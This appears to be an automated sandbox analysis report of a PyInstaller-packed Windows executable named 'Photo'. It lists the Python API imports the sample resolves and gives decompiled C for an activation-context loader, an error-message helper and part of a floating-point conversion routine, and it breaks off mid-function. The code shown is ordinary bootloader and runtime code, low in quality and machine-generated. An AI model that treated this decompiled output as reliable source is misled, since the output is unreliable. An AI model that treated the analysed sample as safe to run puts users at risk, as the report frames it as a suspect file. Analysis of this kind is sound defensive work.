Failed to get address for PyUnicode_FromString, xrefs: 001D3013
Failed to get address for PyImport_ImportModule, xrefs: 001D2E3A
Failed to get address for PyString_FromString, xrefs: 001D2F17
PyErr_Occurred, xrefs: 001D2DBD
PyRun_SimpleString, xrefs: 001D2EE6
Py_NoUserSiteDirectory, xrefs: 001D2BC9
PyMarshal_ReadObjectFromString, xrefs: 001D2FDE
Failed to get address for PyErr_Occurred, xrefs: 001D2DCE
Py_SetProgramName, xrefs: 001D2D51
Failed to get address for PyImport_AddModule, xrefs: 001D2E04
PyModule_GetDict, xrefs: 001D2E95
PyDict_GetItemString, xrefs: 001D2D87
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 001D2FEF
Failed to get address for PySys_GetObject, xrefs: 001D2F83
PyErr_Print, xrefs: 001D2DD8
Failed to get address for PyImport_ExecCodeModule, xrefs: 001D2E1F
Failed to get address for PySys_SetArgvEx, xrefs: 001D2F68
Py_DecodeLocale, xrefs: 001D3022
Failed to get address for Py_VerboseFlag, xrefs: 001D2C2C
Failed to get address for Py_SetProgramName, xrefs: 001D2D62
Failed to get address for Py_GetPath, xrefs: 001D2D47
Failed to get address for Py_Finalize, xrefs: 001D2CA7
Failed to get address for PyErr_Print, xrefs: 001D2DE9
PySys_GetObject, xrefs: 001D2F72
Failed to get address for PyRun_SimpleString, xrefs: 001D2EF7
Py_VerboseFlag, xrefs: 001D2C1B
Failed to get address for PyObject_SetAttrString, xrefs: 001D2EDC
PyString_FromString, xrefs: 001D2F06
PyUnicode_FromFormat, xrefs: 001D3052
Failed to get address for Py_DecodeLocale, xrefs: 001D3033
Failed to get address for PyUnicode_Decode, xrefs: 001D307B
PyErr_Clear, xrefs: 001D2DA2
PyList_New, xrefs: 001D2E5F
Py_BuildValue, xrefs: 001D2C44
Py_Finalize, xrefs: 001D2C96
Failed to get address for _Py_char2wchar, xrefs: 001D304B
_Py_char2wchar, xrefs: 001D303A
PySys_SetArgvEx, xrefs: 001D2F57
PyList_Append, xrefs: 001D2E44
Failed to get address for PyLong_AsLong, xrefs: 001D2E8B
PyObject_CallFunction, xrefs: 001D2EB0
Failed to get address for PyErr_Clear, xrefs: 001D2DB3
Failed to get address for PyString_FromFormat, xrefs: 001D2F32
PyUnicode_Decode, xrefs: 001D306A
Py_DontWriteBytecodeFlag, xrefs: 001D2AFC
PyImport_AddModule, xrefs: 001D2DF3
Failed to get address for Py_BuildValue, xrefs: 001D2C55
PySys_AddWarnOption, xrefs: 001D2F3C
Failed to get address for Py_SetPath, xrefs: 001D2D2C
Failed to get address for PySys_SetObject, xrefs: 001D2F9E
GetProcAddress, xrefs: 001D2B12, 001D2B3B, 001D2B64, 001D2B8D, 001D2BB6, 001D2BDF, 001D2C08, 001D2C31, 001D2C5A, 001D2C83, 001D2CAC, 001D2CD5, 001D2CFE, 001D309D
Failed to get address for PySys_AddWarnOption, xrefs: 001D2F4D
Failed to get address for Py_Initialize, xrefs: 001D2CF9
Failed to get address for PyModule_GetDict, xrefs: 001D2EA6
Failed to get address for PyDict_GetItemString, xrefs: 001D2D98
Failed to get address for Py_FileSystemDefaultEncoding, xrefs: 001D2B36
Failed to get address for Py_IncRef, xrefs: 001D2CD0
PySys_SetObject, xrefs: 001D2F8D
Failed to get address for Py_IgnoreEnvironmentFlag, xrefs: 001D2B88
PyImport_ExecCodeModule, xrefs: 001D2E0E
Failed to get address for Py_OptimizeFlag, xrefs: 001D2C03
Failed to get address for PyUnicode_FromFormat, xrefs: 001D3063
Failed to get address for Py_DontWriteBytecodeFlag, xrefs: 001D2B0D
PyEval_EvalCode, xrefs: 001D2FC3
Failed to get address for PyEval_EvalCode, xrefs: 001D2FD4
Py_DecRef, xrefs: 001D2C6D
Failed to get address for Py_DecRef, xrefs: 001D2C7E
PyImport_ImportModule, xrefs: 001D2E29
PyUnicode_FromString, xrefs: 001D3002
Py_Initialize, xrefs: 001D2CE8

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: AddressProc$ErrorLast
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_SetAttrString$Failed to get address for PyRun_SimpleString$Failed to get address for PyString_FromFormat$Failed to get address for PyString_FromString$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_VerboseFlag$Failed to get address for _Py_char2wchar$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Occurred$PyErr_Print$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyModule_GetDict$PyObject_CallFunction$PyObject_SetAttrString$PyRun_SimpleString$PyString_FromFormat$PyString_FromString$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_VerboseFlag$_Py_char2wchar
API String ID: 4214558900-311823549
Opcode ID: 62f3bd56fe34c5f009019a44e7af1744f69ad674845cc7a5fc404fdd8f12ca03
Instruction ID: b09b79d786ffc143fe46ba35adaa8e24314504741270098737131900658f8056
Opcode Fuzzy Hash: 62f3bd56fe34c5f009019a44e7af1744f69ad674845cc7a5fc404fdd8f12ca03
Instruction Fuzzy Hash: 1BD1D6B0786B1F71C613773A6D12C7A66882FB57697150223F620E13E3FBE0C58198E6

Uniqueness

Uniqueness Score: -1.00%

Function 001D46C0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 94
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E001D46C0(void* __edx, char* _a4) {
				short* _v24;
				intOrPtr _v28;
				char _v32;
				void* __ebx;
				short* _t9;
				int _t18;
				short* _t23;
				void* _t24;
				void* _t25;
				char* _t26;
				struct HINSTANCE__* _t27;
				int _t28;
				intOrPtr* _t30;
				intOrPtr* _t32;

				_t25 = __edx;
				_t33 =  &_v32;
				_t26 = _a4;
				_t28 = MultiByteToWideChar(0xfde9, 0, _t26, 0xffffffff, 0, 0);
				if(_t28 != 0) {
					_t2 = _t28 + 1; // 0x1
					_push(2);
					_t9 = E001DD57E(_t24);
					_t33 =  &_v32 + 8;
					_t23 = _t9;
					if(MultiByteToWideChar(0xfde9, 0, _t26, 0xffffffff, _t23, _t28) == 0) {
						_push("Failed to decode wchar_t from UTF-8\n");
						goto L4;
					}
				} else {
					_push("Failed to get wchar_t buffer size.\n");
					L4:
					_push("MultiByteToWideChar");
					E001D1900(_t23, _t25);
					_t33 = _t33 + 8;
					_t23 = 0;
				}
				_t27 = LoadLibraryA("kernel32");
				_t32 = GetProcAddress(_t27, "CreateActCtxW");
				_t30 = GetProcAddress(_t27, "ActivateActCtx");
				if(_t32 == 0 || _t30 == 0) {
					L11:
					return 0;
				} else {
					asm("xorps xmm0, xmm0");
					asm("movups [esp+0x10], xmm0");
					asm("movups [esp+0x24], xmm0");
					_v32 = 0x20;
					_v24 = _t23;
					_v28 = 0x10;
					 *0x1fc000 =  *_t32( &_v32);
					L001D9956(_t23);
					_t18 =  *0x1fc000; // 0xffffffff
					if(_t18 == 0xffffffff) {
						L10:
						_push(0);
						 *0x1fc000 = 0xffffffff;
						E001D47D0(_t25);
						goto L11;
					} else {
						_push(0x208a60);
						_push(_t18);
						if( *_t30() == 0) {
							goto L10;
						} else {
							return 1;
						}
					}
				}
			}

0x001d46c0
0x001d46c0
0x001d46cd
0x001d46e1
0x001d46e5
0x001d46ee
0x001d46f1
0x001d46f4
0x001d46f9
0x001d46fc
0x001d470e
0x001d4710
0x00000000
0x001d4710
0x001d46e7
0x001d46e7
0x001d4715
0x001d4715
0x001d471a
0x001d471f
0x001d4722
0x001d4722
0x001d4735
0x001d4745
0x001d4749
0x001d474d
0x001d47c3
0x001d47c9
0x001d4753
0x001d4753
0x001d475a
0x001d4760
0x001d4765
0x001d476d
0x001d4771
0x001d477c
0x001d4781
0x001d4786
0x001d4791
0x001d47ac
0x001d47ac
0x001d47ae
0x001d47b8
0x00000000
0x001d4793
0x001d4793
0x001d4798
0x001d479d
0x00000000
0x001d47a2
0x001d47ab
0x001d47ab
0x001d479d
0x001d4791

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,00000000,?,?,?,001D220E,00000000,00000000), ref: 001D46DF
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,001D220E,00000000,00000000,001D57AF,00000000), ref: 001D470A
LoadLibraryA.KERNEL32(kernel32,?,?,?,?,?,001D220E,00000000,00000000,001D57AF,00000000,001D2747,00000000), ref: 001D4729
GetProcAddress.KERNEL32(00000000,CreateActCtxW), ref: 001D473D
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 001D4747

Part of subcall function 001D47D0: GetLastError.KERNEL32(001D19C4,00000000,000003FF), ref: 001D47F3
Part of subcall function 001D47D0: FormatMessageW.KERNEL32(00001000,00000000,?,00000400,00000000,00001000,00000000,001D19C4,00000000,000003FF), ref: 001D4812

Strings

Failed to get wchar_t buffer size., xrefs: 001D46E7
ActivateActCtx, xrefs: 001D473F
, xrefs: 001D4765
MultiByteToWideChar, xrefs: 001D4715
Failed to decode wchar_t from UTF-8, xrefs: 001D4710
kernel32, xrefs: 001D4724
CreateActCtxW, xrefs: 001D4737

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: AddressByteCharMultiProcWide$ErrorFormatLastLibraryLoadMessage
String ID: $ActivateActCtx$CreateActCtxW$Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$kernel32
API String ID: 3691712246-2515179630
Opcode ID: f51c5e7cde202b5752142cfa7c284373e66ff17da57847f47816343cc3edd25c
Instruction ID: f9fdd821481a7ec6a5ef51c865218fcca05ea3e8da5fa66560500e5a8d4d484f
Opcode Fuzzy Hash: f51c5e7cde202b5752142cfa7c284373e66ff17da57847f47816343cc3edd25c
Instruction Fuzzy Hash: 7C216B75A40319B7D320ABA56C42F377698AB55B74F180327FE14A23C1EBB0E84442E6

Uniqueness

Uniqueness Score: -1.00%

Function 001D47D0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E001D47D0(void* __edx, signed int _a8192, long _a8200) {
				short _v0;
				signed int _t8;
				long _t10;
				void* _t17;
				void* _t25;
				signed int _t27;

				_t25 = __edx;
				E001D7780();
				_t8 =  *0x1fc008; // 0x369f4a24
				_a8192 = _t8 ^ _t27;
				_t10 = _a8200;
				if(_t10 == 0) {
					_t10 = GetLastError();
				}
				if(FormatMessageW(0x1000, 0, _t10, 0x400,  &_v0, 0x1000, 0) != 0) {
					E001D4C50(_t17, 0x208a68,  &_v0, 0x1000);
					_t20 =  !=  ? 0x208a68 : "PyInstaller: pyi_win32_utils_to_utf8 failed.";
					_t14 =  !=  ? 0x208a68 : "PyInstaller: pyi_win32_utils_to_utf8 failed.";
					E001D7760();
					return  !=  ? 0x208a68 : "PyInstaller: pyi_win32_utils_to_utf8 failed.";
				} else {
					_push("No error messages generated.\n");
					_push("FormatMessageW");
					E001D1900(_t17, _t25);
					E001D7760();
					return "PyInstaller: FormatMessageW failed.";
				}
			}

0x001d47d0
0x001d47d5
0x001d47da
0x001d47e1
0x001d47e8
0x001d47f1
0x001d47f3
0x001d47f3
0x001d481a
0x001d4857
0x001d486b
0x001d486e
0x001d4879
0x001d4884
0x001d481c
0x001d481c
0x001d4821
0x001d4826
0x001d483c
0x001d4847
0x001d4847

APIs

GetLastError.KERNEL32(001D19C4,00000000,000003FF), ref: 001D47F3

Part of subcall function 001D4C50: WideCharToMultiByte.KERNEL32(0000FDE9,00001000,00001000,000000FF,00001000,00001000,00001000,00001000,-00000002,?,001D485C,00208A68,00001000,00001000), ref: 001D4C6A

FormatMessageW.KERNEL32(00001000,00000000,?,00000400,00000000,00001000,00000000,001D19C4,00000000,000003FF), ref: 001D4812

Strings

No error messages generated., xrefs: 001D481C
FormatMessageW, xrefs: 001D4821
PyInstaller: FormatMessageW failed., xrefs: 001D482E
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 001D485F

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharErrorFormatLastMessageMultiWide
String ID: FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.
API String ID: 1653872744-3268588819
Opcode ID: 4502e2ed6c566b0b41b996bcfcbaa29358cbfb7f34d96fc64ba6983bd4702964
Instruction ID: 9df74a1d08b3614b334e7f115ef2e32ef9915bfe382961477345a1aa55a2e3f0
Opcode Fuzzy Hash: 4502e2ed6c566b0b41b996bcfcbaa29358cbfb7f34d96fc64ba6983bd4702964
Instruction Fuzzy Hash: DC01DFB8344300ABE31897249C8BFBA32D5AB98B81F840429B74DC63C3EBB49844C756

Uniqueness

Uniqueness Score: -1.00%

Function 001E982E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381
COMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E001E982E(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, signed int _a4, signed int _a8, intOrPtr _a12, intOrPtr* _a16, signed int _a20, intOrPtr _a24) {
				signed int _v0;
				signed int _v8;
				void* _v12;
				signed short _v16;
				char _v20;
				intOrPtr _v28;
				char _v32;
				char _v460;
				signed short _v464;
				void _v468;
				signed int _v472;
				signed int _v932;
				signed int _v936;
				signed int _v1392;
				signed int _v1396;
				signed int _v1400;
				char _v1860;
				signed int _v1864;
				signed short _v1865;
				signed int _v1872;
				signed int _v1876;
				signed int _v1880;
				signed int _v1884;
				signed int _v1888;
				signed short _v1892;
				signed short _v1896;
				intOrPtr _v1900;
				signed short _v1904;
				signed short _v1908;
				signed int _v1912;
				signed short _v1916;
				signed int _v1920;
				signed int _v1924;
				signed int _v1928;
				char _v1936;
				char _v1944;
				char _v2404;
				signed int _v2408;
				intOrPtr _v2436;
				signed int _t745;
				signed short _t755;
				signed short _t756;
				signed short _t757;
				signed int _t760;
				signed short _t763;
				signed short _t764;
				signed short _t765;
				signed short _t766;
				signed short _t769;
				signed short _t770;
				signed short _t772;
				signed short _t774;
				signed short _t775;
				signed short _t781;
				signed short _t787;
				intOrPtr _t789;
				void* _t790;
				signed int _t791;
				signed int _t792;
				signed short _t793;
				signed int _t802;
				signed int _t807;
				signed int _t808;
				signed short _t809;
				signed short _t812;
				signed short _t813;
				signed short _t814;
				signed int _t816;
				signed int _t817;
				signed int _t822;
				signed int _t823;
				signed short _t829;
				signed int _t830;
				signed int _t833;
				signed int _t838;
				signed int _t846;
				signed int* _t849;
				signed int _t853;
				signed int _t864;
				signed int _t865;
				signed short _t867;
				char* _t868;
				signed short _t871;
				signed int _t875;
				signed int _t876;
				signed short _t881;
				signed int _t883;
				signed short _t888;
				signed int _t897;
				signed int _t900;
				signed int _t902;
				signed short _t905;
				signed short _t906;
				signed int _t907;
				signed int _t910;
				signed int _t923;
				signed int _t924;
				signed short _t926;
				char* _t927;
				signed short _t930;
				signed int _t934;
				signed int _t935;
				signed int* _t937;
				signed short _t940;
				signed int _t942;
				signed short _t947;
				signed int _t955;
				signed int _t958;
				signed int _t962;
				signed int* _t969;
				intOrPtr _t971;
				void* _t972;
				intOrPtr* _t974;
				signed int* _t978;
				unsigned int _t989;
				signed int _t990;
				void* _t993;
				signed int _t994;
				void* _t996;
				signed int _t997;
				signed int _t998;
				signed short _t999;
				signed short _t1009;
				signed int _t1014;
				signed int _t1017;
				unsigned int _t1020;
				signed int _t1021;
				void* _t1024;
				signed int _t1025;
				void* _t1027;
				signed int _t1028;
				signed int _t1029;
				signed short _t1030;
				signed int _t1035;
				signed int* _t1040;
				signed int _t1042;
				signed int _t1052;
				void _t1055;
				signed int _t1058;
				void* _t1061;
				intOrPtr _t1071;
				signed short _t1075;
				signed short _t1076;
				signed int _t1081;
				signed int _t1082;
				signed int _t1085;
				signed int _t1086;
				signed int _t1088;
				signed int _t1089;
				signed short _t1090;
				signed int _t1094;
				signed int _t1098;
				signed int _t1099;
				signed short _t1100;
				signed int _t1102;
				signed int _t1103;
				signed short _t1104;
				signed int _t1105;
				signed int _t1106;
				signed int _t1107;
				signed int _t1109;
				signed int _t1110;
				signed short _t1111;
				signed int _t1112;
				signed int _t1113;
				signed int _t1114;
				unsigned int _t1115;
				void* _t1118;
				intOrPtr _t1120;
				signed int _t1121;
				signed int _t1122;
				signed short _t1123;
				signed int* _t1127;
				void* _t1131;
				void* _t1132;
				signed short _t1133;
				signed int _t1134;
				signed int _t1135;
				signed short _t1138;
				signed short _t1139;
				signed int _t1144;
				void* _t1146;
				signed short _t1148;
				signed int _t1151;
				char _t1156;
				signed int _t1158;
				signed short _t1159;
				signed short _t1160;
				signed short _t1161;
				signed int _t1162;
				signed short _t1163;
				signed int _t1164;
				signed short _t1168;
				signed int _t1169;
				signed int _t1170;
				signed short _t1171;
				signed int _t1172;
				unsigned int _t1175;
				void* _t1179;
				void* _t1180;
				unsigned int _t1181;
				signed short _t1186;
				signed int _t1187;
				signed short _t1189;
				signed int _t1190;
				intOrPtr* _t1192;
				signed int _t1193;
				signed int _t1195;
				signed short _t1196;
				signed int _t1199;
				signed int _t1201;
				signed short _t1202;
				void* _t1203;
				signed short _t1204;
				signed int _t1205;
				signed short _t1206;
				void* _t1209;
				signed short _t1210;
				signed short _t1211;
				signed int _t1212;
				signed int _t1213;
				signed int _t1214;
				signed int* _t1217;
				signed short _t1218;
				signed short _t1219;
				signed int _t1220;
				signed int _t1221;
				intOrPtr* _t1223;
				intOrPtr* _t1224;
				signed int _t1226;
				signed int _t1228;
				signed int _t1231;
				signed int _t1237;
				signed int _t1241;
				signed short _t1246;
				signed int _t1249;
				signed short _t1250;
				signed int _t1251;
				signed short _t1252;
				signed short _t1253;
				signed int _t1254;
				signed int _t1256;
				signed int _t1257;
				signed int _t1258;
				signed short _t1259;
				signed int _t1261;
				signed int _t1262;
				signed int _t1263;
				signed int _t1264;
				signed int _t1265;
				signed int _t1267;
				signed int _t1268;
				signed int _t1270;
				signed int _t1272;
				signed int _t1274;
				signed int _t1276;
				signed int* _t1278;
				signed int* _t1282;
				signed int _t1291;

				_t1146 = __edx;
				_t745 =  *0x1fc008; // 0x369f4a24
				_v8 = _t745 ^ _t1276;
				_push(__ebx);
				_t1052 = _a20;
				_t1192 = _a16;
				_v1924 = _t1192;
				_v1920 = _t1052;
				E001E934F( &_v1944, __eflags);
				_t1241 = _a8;
				_t750 = 0x2d;
				if((_t1241 & 0x80000000) == 0) {
					_t750 = 0x120;
				}
				 *_t1192 = _t750;
				 *((intOrPtr*)(_t1192 + 8)) = _t1052;
				_t1193 = _a4;
				if((_t1241 & 0x7ff00000) != 0) {
					L5:
					_t755 = E001E44F0( &_a4);
					_pop(_t1067);
					__eflags = _t755;
					if(_t755 != 0) {
						_t1067 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t756 = _t755 - 1;
					__eflags = _t756;
					if(_t756 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t774 = _t756 - 1;
						__eflags = _t774;
						if(_t774 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t775 = _t774 - 1;
							__eflags = _t775;
							if(_t775 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t775 == 1;
								if(_t775 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1193;
									_a8 = _t1241 & 0x7fffffff;
									_t1291 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1195 = _v1896;
									_v1916 = _a12 + 1;
									_t1081 = _t1195 >> 0x14;
									_t781 = _t1081 & 0x000007ff;
									__eflags = _t781;
									if(_t781 != 0) {
										_t1148 = 0;
										_t781 = 0;
										__eflags = 0;
									} else {
										_t1148 = 1;
									}
									_t1196 = _t1195 & 0x000fffff;
									_t1055 = _v1900 + _t781;
									asm("adc edi, esi");
									__eflags = _t1148;
									_t1082 = _t1081 & 0x000007ff;
									_t1246 = _t1082 - 0x434 + (0 | _t1148 != 0x00000000) + 1;
									_v1872 = _t1246;
									E001ECC90(_t1082, _t1291);
									_push(_t1082);
									_push(_t1082);
									 *_t1278 = _t1291;
									_t787 = E001EF3B0(E001ECDA0(), _t1291);
									_v1904 = _t787;
									__eflags = _t787 - 0x7fffffff;
									if(_t787 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t787 - 0x80000000;
										if(_t787 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1055;
									__eflags = _t1196;
									_v464 = _t1196;
									_t1058 = (0 | _t1196 != 0x00000000) + 1;
									_v472 = _t1058;
									__eflags = _t1246;
									if(_t1246 < 0) {
										__eflags = _t1246 - 0xfffffc02;
										if(_t1246 == 0xfffffc02) {
											L101:
											_t789 =  *((intOrPtr*)(_t1276 + _t1058 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1085 = 0;
												__eflags = 0;
											} else {
												_t1085 = _t789 + 1;
											}
											_t790 = 0x20;
											_t791 = _t790 - _t1085;
											__eflags = _t791 - 1;
											_t792 = _t791 & 0xffffff00 | _t791 - 0x00000001 > 0x00000000;
											__eflags = _t1058 - 0x73;
											_v1865 = _t792;
											_t1086 = _t1085 & 0xffffff00 | _t1058 - 0x00000073 > 0x00000000;
											__eflags = _t1058 - 0x73;
											if(_t1058 != 0x73) {
												L107:
												_t793 = 0;
												__eflags = 0;
											} else {
												__eflags = _t792;
												if(_t792 == 0) {
													goto L107;
												} else {
													_t793 = 1;
												}
											}
											__eflags = _t1086;
											if(_t1086 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E001D9D2E( &_v468, 0x1cc,  &_v1396, 0);
												_t1278 =  &(_t1278[4]);
											} else {
												__eflags = _t793;
												if(_t793 != 0) {
													goto L126;
												} else {
													_t1113 = 0x72;
													__eflags = _t1058 - _t1113;
													if(_t1058 < _t1113) {
														_t1113 = _t1058;
													}
													__eflags = _t1113 - 0xffffffff;
													if(_t1113 != 0xffffffff) {
														_t1264 = _t1113;
														_t1223 =  &_v468 + _t1113 * 4;
														_v1880 = _t1223;
														while(1) {
															__eflags = _t1264 - _t1058;
															if(_t1264 >= _t1058) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1223;
															}
															_t210 = _t1264 - 1; // 0x70
															__eflags = _t210 - _t1058;
															if(_t210 >= _t1058) {
																_t1175 = 0;
																__eflags = 0;
															} else {
																_t1175 =  *(_t1223 - 4);
															}
															_t1223 = _t1223 - 4;
															_t969 = _v1880;
															_t1264 = _t1264 - 1;
															 *_t969 = _t1175 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t969 - 4;
															__eflags = _t1264 - 0xffffffff;
															if(_t1264 == 0xffffffff) {
																break;
															}
															_t1058 = _v472;
														}
														_t1246 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1113;
													} else {
														_t218 = _t1113 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1199 = 1 - _t1246;
											E001D8480(_t1199,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1276 + 0xbad63d) = 1 << (_t1199 & 0x0000001f);
											_t802 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1114 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1114;
											__eflags = _t1058 - _t1114;
											if(_t1058 == _t1114) {
												_t1179 = 0;
												__eflags = 0;
												while(1) {
													_t971 =  *((intOrPtr*)(_t1276 + _t1179 - 0x570));
													__eflags = _t971 -  *((intOrPtr*)(_t1276 + _t1179 - 0x1d0));
													if(_t971 !=  *((intOrPtr*)(_t1276 + _t1179 - 0x1d0))) {
														goto L101;
													}
													_t1179 = _t1179 + 4;
													__eflags = _t1179 - 8;
													if(_t1179 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1180 = 0;
															__eflags = 0;
														} else {
															_t1180 = _t971 + 1;
														}
														_t972 = 0x20;
														_t1265 = _t1114;
														__eflags = _t972 - _t1180 - _t1114;
														_t974 =  &_v460;
														_v1880 = _t974;
														_t1224 = _t974;
														_t171 =  &_v1865;
														 *_t171 = _t972 - _t1180 - _t1114 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1265 - _t1058;
															if(_t1265 >= _t1058) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1224;
															}
															_t175 = _t1265 - 1; // 0x0
															__eflags = _t175 - _t1058;
															if(_t175 >= _t1058) {
																_t1181 = 0;
																__eflags = 0;
															} else {
																_t1181 =  *(_t1224 - 4);
															}
															_t1224 = _t1224 - 4;
															_t978 = _v1880;
															_t1265 = _t1265 - 1;
															 *_t978 = _t1181 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t978 - 4;
															__eflags = _t1265 - 0xffffffff;
															if(_t1265 == 0xffffffff) {
																break;
															}
															_t1058 = _v472;
														}
														__eflags = _v1865;
														_t1115 = _t1114 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1114;
														_t1226 = _t1115 >> 5;
														_v1884 = _t1115;
														_t1267 = _t1226 << 2;
														E001D8480(_t1226,  &_v1396, 0, _t1267);
														 *(_t1276 + _t1267 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t802 = _t1226 + 1;
													}
													goto L128;
